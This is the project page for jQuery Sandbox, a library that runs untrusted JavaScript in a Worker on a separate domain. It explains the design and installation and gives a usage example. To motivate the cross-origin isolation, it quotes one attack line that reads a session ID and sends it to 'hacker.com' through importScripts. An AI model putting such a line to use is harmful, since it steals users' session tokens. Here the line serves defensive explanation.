jQuery Sandbox
Execute untrusted headless Javascript code in a sandbox.
Demo
Type some script to be executed in a sandbox. Your script will be terminated after 5 seconds.
Output
This example will simply print out what the script has posted via postMessage
. In your handler, you should sanitize these messages from the script and do something useful with them.
How does it work?
-
jQuery Sandbox runs untrusted javascript in a HTML5 Worker which does not have access to the DOM.
This mechanism ensures that the script cannot manipulate elements in your DOM, read your cookie or annoy your visitors with popups.
However, it alone is not enough. Consider this attack:
var xhr = new XMLHttpRequest(); xhr.open('GET', '/session_id', false); xhr.send(); var session_id = xhr.responseText; importScripts('http://hacker.com/track.js?session_id=' + session_id);
- The Worker is hosted on a different domain such that protection from browser's cross origin resource sharing (CORS) policy kicks in, further restricting malicious code. This will ensure that the script cannot read your local storage, use XMLHttpRequest to steal cookie and other data from pages on your site. Malicious script can still access anything from our host domain, but we have nothing valuable.
Installation
You will need the latest jQuery and this script:
<script type="text/javascript" src="//ziyan.github.io/jquery-sandbox/0.0.1/jquery.sandbox.js"></script>
The source can be found on github: https://github.com/ziyan/jquery-sandbox/blob/master/jquery.sandbox.js
Actually, the real source is in CoffeeScript: https://github.com/ziyan/jquery-sandbox/blob/master/src/js/jquery.sandbox.coffee
Limitations
Since jQuery Sandbox depends on HTML5 Worker, it will not work with IE[6-9]. However, it has been tested on the following browsers:
- IE 10.0
- Latest Chrome
- Latest Firefox
Usage
The script does nothing until you call it via $.sandbox(options)
.
options
is a dictionary with the following keys:
- scripts - Array of script URLs to be executed. You can execute scripts stored in a string directly by supplying:
['data:application/javascript,' + encodeURIComponent(script)]
- url (optional) - Path to the sandbox iframe. Default to
//ziyan.github.io/jquery-sandbox/0.0.1/sandbox.html
- timeout (optional) - Number of seconds before killing the script. Default to
0
which means no timeout - callback (optional) - Function to be called when the script does
postMessage()
or throws exception. Should be defined asfunction(data, error) { ... }
var sandbox = $.sandbox({ timeout: 5000, scripts: [ '//yourdomain.com/assets/js/api.js', 'data:application/javascript,' + encodeURIComponent(script1), 'data:application/javascript,' + encodeURIComponent(script2), ], callback: function(data, error) { if (error !== undefined) this.terminate(); } }); $('a#terminate').click(function(e) { // Termination on demand. sandbox.terminate(); });